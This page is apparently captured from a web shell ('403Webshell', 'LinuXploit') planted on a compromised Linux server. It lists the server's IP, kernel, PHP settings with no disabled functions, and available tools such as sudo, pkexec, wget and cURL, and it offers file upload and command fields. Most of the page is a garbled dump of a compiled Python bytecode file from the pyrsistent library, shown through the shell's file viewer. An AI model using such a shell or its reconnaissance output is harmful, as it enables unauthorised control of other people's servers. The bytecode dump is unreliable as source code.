403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/pyrsistent/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3/dist-packages/pyrsistent/__pycache__/_pdeque.cpython-310.pyc
o

���a�/�@srddlmZmZddlmZmZddlmZddlm	Z	Gdd�de
�Ze�e�e�e�d
d	d
�Z
dd�ZdS)�)�Sequence�Hashable)�islice�chain)�Integral)�plistcs(eZdZdZdZd=�fdd�	Zedd��Zedd	��Ze	d
d��Z
dd
�Zdd�ZeZ
edd��Zd>dd�Zd>dd�Ze	dd��Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Ze	d)d*��Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Z e Z!d7d8�Z"d9d:�Z#d;d<�Z$e%j&Z&�Z'S)?�PDequea�
    Persistent double ended queue (deque). Allows quick appends and pops in both ends. Implemented
    using two persistent lists.

    A maximum length can be specified to create a bounded queue.

    Fully supports the Sequence and Hashable protocols including indexing and slicing but
    if you need fast random access go for the PVector instead.

    Do not instantiate directly, instead use the factory functions :py:func:`dq` or :py:func:`pdeque` to
    create an instance.

    Some examples:

    >>> x = pdeque([1, 2, 3])
    >>> x.left
    1
    >>> x.right
    3
    >>> x[0] == x.left
    True
    >>> x[-1] == x.right
    True
    >>> x.pop()
    pdeque([1, 2])
    >>> x.pop() == x[:-1]
    True
    >>> x.popleft()
    pdeque([2, 3])
    >>> x.append(4)
    pdeque([1, 2, 3, 4])
    >>> x.appendleft(4)
    pdeque([4, 1, 2, 3])

    >>> y = pdeque([1, 2, 3], maxlen=3)
    >>> y.append(4)
    pdeque([2, 3, 4], maxlen=3)
    >>> y.appendleft(4)
    pdeque([4, 1, 2], maxlen=3)
    )�
_left_list�_right_list�_length�_maxlen�__weakref__NcsVtt|��|�}||_||_||_|dur&t|t�std��|dkr&t	d��||_
|S)Nz An integer is required as maxlenrzmaxlen must be non-negative)�superr�__new__r	r
r�
isinstancer�	TypeError�
ValueErrorr)�cls�	left_list�
right_list�length�maxlen�instance��	__class__��4/usr/lib/python3/dist-packages/pyrsistent/_pdeque.pyr2s
zPDeque.__new__cC�t�|j|j�S)z.
        Rightmost element in dqueue.
        )r�_tip_from_listsr
r	��selfrrr�rightB�zPDeque.rightcCr)z-
        Leftmost element in dqueue.
        )rrr	r
rrrr�leftIr"zPDeque.leftcCs|r|jS|r|dStd��)N���zNo elements in empty deque)�first�
IndexError)�primary_list�secondary_listrrrrPs
zPDeque._tip_from_listscCst|j|j���S�N)rr	r
�reverserrrr�__iter__ZszPDeque.__iter__cCs(d�t|�|jdurd�|j��Sd�S)Nzpdeque({0}{1})z, maxlen={0}�)�format�listrrrrr�__repr__]s

��zPDeque.__repr__cC�|jS)z.
        Maximum length of the queue.
        )rrrrrrbsz
PDeque.maxlen�cCsF|dkr
|�|�St�|j|j|�\}}t||t|j|d�|j�S)a�
        Return new deque with rightmost element removed. Popping the empty queue
        will return the empty queue. A optional count can be given to indicate the
        number of elements to pop. Popping with a negative index is the same as
        popleft. Executes in amortized O(k) where k is the number of elements to pop.

        >>> pdeque([1, 2]).pop()
        pdeque([1])
        >>> pdeque([1, 2]).pop(2)
        pdeque([])
        >>> pdeque([1, 2]).pop(-1)
        pdeque([2])
        r)�popleftr�
_pop_listsr
r	�maxrr)r �count�new_right_list�
new_left_listrrr�popisz
PDeque.popcCsF|dkr
|�|�St�|j|j|�\}}t||t|j|d�|j�S)z�
        Return new deque with leftmost element removed. Otherwise functionally
        equivalent to pop().

        >>> pdeque([1, 2]).popleft()
        pdeque([2])
        r)r8rr3r	r
r4rr)r r5r7r6rrrr2}szPDeque.popleftcCsj|}|}|dkr1|s|r1|d8}|jr|j}n|r!|��}t�}n|��j}t�}|dkr1|s|s||fS�Nrr1)�restr*r)r'r(r5�new_primary_list�new_secondary_listrrrr3�s
�zPDeque._pop_listscCs|jo|jSr))r	r
rrrr�	_is_empty�szPDeque._is_emptycCst|t�stSt|�t|�kSr))rr�NotImplemented�tuple�r �otherrrr�__lt__�s
z
PDeque.__lt__cCs:t|t�stSt|�t|�krt|�t|�ksJ�dSdS)NTF)rrr>r?�lenr@rrr�__eq__�s
z
PDeque.__eq__cCstt|��Sr))�hashr?rrrr�__hash__�szPDeque.__hash__cCr0r))rrrrr�__len__�szPDeque.__len__cCs(|�|j|j|�\}}}t||||j�S)z�
        Return new deque with elem as the rightmost element.

        >>> pdeque([1, 2]).append(3)
        pdeque([1, 2, 3])
        )�_appendr	r
rr)r �elemr7r6�
new_lengthrrr�append��z
PDeque.appendcCs(|�|j|j|�\}}}t||||j�S)z�
        Return new deque with elem as the leftmost element.

        >>> pdeque([1, 2]).appendleft(3)
        pdeque([3, 1, 2])
        )rHr
r	rr)r rIr6r7rJrrr�
appendleft�rLzPDeque.appendleftcCsd|jdur'|j|jkr'|jdkr||dfSt�||d�\}}||�|�|jfS||�|�|jdfSr9)rrrr3�cons)r r'r(rIr;r<rrrrH�s

zPDeque._appendcCs(d}|D]}|�|�}|d7}q||fSr9)rN)�the_list�iterabler5rIrrr�_extend_list�s


zPDeque._extend_listc	Cs`t�||�\}}|}|j|}|jdur+||jkr+||j}t�|||�\}}||8}|||fSr))rrQrrr3)	r r'r(rPr;�extend_countr<�current_len�pop_lenrrr�_extend�s


zPDeque._extendcCs.|�|j|j|�\}}}t|||j||j�S)z�
        Return new deque with all elements of iterable appended to the right.

        >>> pdeque([1, 2]).extend([3, 4])
        pdeque([1, 2, 3, 4])
        )rUr
r	rrr)r rPr6r7rRrrr�extend�sz
PDeque.extendcCs.|�|j|j|�\}}}t|||j||j�S)a
        Return new deque with all elements of iterable appended to the left.

        NB! The elements will be inserted in reverse order compared to the order in the iterable.

        >>> pdeque([1, 2]).extendleft([3, 4])
        pdeque([4, 3, 1, 2])
        )rUr	r
rrr)r rPr7r6rRrrr�
extendleft�s	zPDeque.extendleftcCs|j�|�|j�|�S)z�
        Return the number of elements equal to elem present in the queue

        >>> pdeque([1, 2, 1]).count(1)
        2
        )r	r5r
)r rIrrrr5�szPDeque.countc
Cs�zt|j�|�|j|jd�WSty@zt|j|j���|���|jd�WYSty?}ztd�|��|�d}~www)z�
        Return new deque with first element from left equal to elem removed. If no such element is found
        a ValueError is raised.

        >>> pdeque([2, 1, 2]).remove(2)
        pdeque([1, 2])
        r1z{0} not found in PDequeN)rr	�remover
rrr*r-)r rI�errrrXs
����z
PDeque.removecCst|j|j|j�S)z�
        Return reversed deque.

        >>> pdeque([1, 2, 3]).reverse()
        pdeque([3, 2, 1])

        Also supports the standard python reverse function.

        >>> reversed(pdeque([1, 2, 3]))
        pdeque([3, 2, 1])
        )rr
r	rrrrrr*szPDeque.reversecCs8|�|�}|dkr|�t|��|��S|�t||��S)z�
        Return deque with elements rotated steps steps.

        >>> x = pdeque([1, 2, 3])
        >>> x.rotate(1)
        pdeque([3, 1, 2])
        >>> x.rotate(-2)
        pdeque([3, 1, 2])
        r)r8rWrr*rV)r �steps�popped_dequerrr�rotate)s

z
PDeque.rotatecCstt|�|jffSr))�pdequer.rrrrr�
__reduce__9szPDeque.__reduce__cCs�t|t�r=|jdur|jdkrtt|�||jd�S|}|jdur*|�|j|j�}|j	dur;|�
|j|j	|j�}|St|t�sKtdt
|�j��|dkrU|�|�jSt|�|}|dkritd�|t|����|�|�jS)Nr1)rz-'%s' object cannot be interpreted as an indexrz!pdeque index {0} out of range {1})r�slice�stepr]r?r�startr2r�stopr8rr�type�__name__r#rCr&r-)r �index�result�shiftedrrr�__getitem__=s&



�zPDeque.__getitem__r))r1)(rd�
__module__�__qualname__�__doc__�	__slots__r�propertyr!r#�staticmethodrr+r/�__str__rr8r2r3r=rBrDrFrGrKrMrHrQrUrVrWr5rXr*�__reversed__r\r^rhrre�
__classcell__rrrrrsP(


	





	

	
rrNcCsdt|�}|dur||d�}t|�}t|d�}t|d|��}t||d�dd�}t||||�S)a*
    Return deque containing the elements of iterable. If maxlen is specified then
    len(iterable) - maxlen elements are discarded from the left to if len(iterable) > maxlen.

    >>> pdeque([1, 2, 3])
    pdeque([1, 2, 3])
    >>> pdeque([1, 2, 3, 4], maxlen=2)
    pdeque([3, 4], maxlen=2)
    N�T)r*)r?rC�intrr)rPr�tr�pivotr#r!rrrr]^s
r]cGst|�S)z[
    Return deque containing all arguments.

    >>> dq(1, 2, 3)
    pdeque([1, 2, 3])
    )r])�elementsrrr�dqqsrw)rN)�collections.abcrr�	itertoolsrr�numbersr�pyrsistent._plistr�objectr�registerr]rwrrrr�<module>s
U



Youez - 2016 - github.com/yon3zu
LinuXploit